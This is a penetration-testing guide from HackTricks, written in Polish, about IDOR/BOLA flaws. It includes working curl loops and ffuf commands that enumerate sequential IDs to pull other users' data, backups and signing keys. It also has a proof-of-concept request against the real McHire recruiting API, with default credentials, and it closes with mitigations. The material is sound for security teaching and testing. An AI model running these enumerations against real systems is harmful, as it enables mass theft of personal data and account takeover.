IDOR (Insecure Direct Object Reference)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) pojawia się, gdy endpoint webowy lub API ujawnia albo przyjmuje identyfikator kontrolowany przez użytkownika, który jest używany bezpośrednio do dostępu do wewnętrznego obiektu bez sprawdzenia, czy wywołujący jest uprawniony do dostępu/modyfikacji tego obiektu. Pomyślne wykorzystanie zwykle umożliwia poziomą lub pionową eskalację uprawnień, taką jak odczyt lub modyfikacja danych innych użytkowników, a w najgorszym wypadku pełne przejęcie konta lub masową eksfiltrację danych.
1. Identyfikacja potencjalnych IDOR-ów
- Szukaj parametrów odnoszących się do obiektu:
- Ścieżka:
/api/user/1234,/files/550e8400-e29b-41d4-a716-446655440000 - Query:
?id=42,?invoice=2024-00001 - Body / JSON:
{"user_id": 321, "order_id": 987} - Nagłówki / Cookies:
X-Client-ID: 4711
- Preferuj endpointy, które odczytują lub aktualizują dane (
GET,PUT,PATCH,DELETE). - Zwróć uwagę, gdy identyfikatory są sekwencyjne lub przewidywalne – jeśli twój ID to
64185742, to64185741prawdopodobnie istnieje. - Przeszukaj ukryte lub alternatywne przepływy (np. link “Członkowie zespołu Paradox” na stronach logowania), które mogą ujawnić dodatkowe API.
- Użyj uwierzytelnionej sesji o niskich uprawnieniach i zmieniaj tylko ID, zachowując ten sam token/ciasteczko. Brak błędu autoryzacji zwykle wskazuje na IDOR.
Szybkie ręczne manipulacje (Burp Repeater)
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
Automatyczna enumeracja (Burp Intruder / curl loop)
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
Enumerowanie przewidywalnych ID pobierania (ffuf)
Panele hostingu plików wymagające uwierzytelnienia często przechowują metadane na użytkownika w jednej tabeli files i udostępniają endpoint do pobierania, np. /download.php?id=<int>. Jeśli handler sprawdza tylko, czy ID istnieje (a nie czy należy do uwierzytelnionego użytkownika), możesz przeskanować przestrzeń liczb całkowitych przy pomocy ważnego cookie sesji i ukraść kopie zapasowe/konfiguracje innych tenantów:
ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json # fetch surviving IDs such as company backups or signing keys
-frusuwa szablony w stylu 404, więc pozostają tylko prawdziwe trafienia (np. IDs 54/150 leaking full site backups and signing material).- Ten sam workflow FFUF działa z Burp Intruder lub pętlą curl — upewnij się tylko, że pozostajesz uwierzytelniony podczas zwiększania IDs.
Oracle odpowiedzi błędów dla enumeracji użytkowników/plików
Gdy endpoint pobierania akceptuje zarówno username, jak i filename (np. /view.php?username=<u>&file=<f>), subtelne różnice w komunikatach błędów często tworzą oracle:
- Nieistniejący username → “Użytkownik nie znaleziony”
- Zły filename, ale poprawne rozszerzenie → “Plik nie istnieje” (czasami wymienia też dostępne pliki)
- Złe rozszerzenie → błąd walidacji
Mając jakąkolwiek uwierzytelnioną sesję, możesz fuzzować parametr username przy trzymaniu neutralnego filename i filtrować po ciągu “użytkownik nie znaleziony”, aby odkryć prawidłowych użytkowników:
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
Po zidentyfikowaniu ważnych nazw użytkowników, żądaj bezpośrednio konkretnych plików (np. /view.php?username=amanda&file=privacy.odt). Taki wzorzec często prowadzi do nieautoryzowanego ujawnienia dokumentów innych użytkowników i wycieku poświadczeń.
2. Studium przypadku z rzeczywistego świata – McHire Chatbot Platform (2025)
Podczas oceny portalu rekrutacyjnego zasilanego przez Paradox.ai — McHire — odkryto następujący IDOR:
- Endpoint:
PUT /api/lead/cem-xhr - Authorization: cookie sesji użytkownika dla dowolnego konta testowego restauracji
- Body parameter:
{"lead_id": N}– 8-cyfrowy, sekwencyjny identyfikator numeryczny
Zmniejszając lead_id, tester uzyskał dostęp do dowolnych kandydatów — ich pełnych PII (imię, e-mail, telefon, adres, preferencje zmianowe) oraz konsumenckiego JWT, który umożliwiał przejęcie sesji. Enumeracja zakresu 1 – 64,185,742 ujawniła w przybliżeniu około 64 milionów rekordów.
Proof-of-Concept request:
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
W połączeniu z default admin credentials (123456:123456), które zapewniały dostęp do konta testowego, luka doprowadziła do krytycznego, obejmującego całą firmę naruszenia danych.
3. Wpływ IDOR / BOLA
- Escalacja pozioma – odczyt/aktualizacja/usunięcie danych innych użytkowników.
- Escalacja pionowa – użytkownik o niskich uprawnieniach uzyskuje funkcjonalność dostępną tylko dla administratorów.
- Masowe naruszenie danych, jeśli identyfikatory są sekwencyjne (np. ID kandydatów, faktury).
- Przejęcie konta przez kradzież tokens lub resetowanie haseł innych użytkowników.
4. Mitigacje & Best Practices
- Wymuszaj autoryzację na poziomie obiektów dla każdego żądania (
user_id == session.user). - Preferuj indirect, unguessable identifiers (UUIDv4, ULID) zamiast auto-increment IDs.
- Wykonuj autoryzację server-side, nigdy nie polegaj na ukrytych polach formularza lub kontrolkach UI.
- Zaimplementuj RBAC / ABAC checks w centralnym middleware.
- Dodaj rate-limiting & logging aby wykryć enumerację ID.
- Testuj bezpieczeństwo każdego nowego endpointu (unit, integration, and DAST).
5. Narzędzia
- BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
- OWASP ZAP: Auth Matrix, Forced Browse.
- Github projects:
bwapp-idor-scanner,Blindy(bulk IDOR hunting).
Referencje
- McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII
- OWASP Top 10 – Broken Access Control
- How to Find More IDORs – Vickie Li
- HTB Nocturnal: IDOR oracle → file theft
- 0xdf – HTB Era: predictable download IDs → backups and signing keys
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
HackTricks

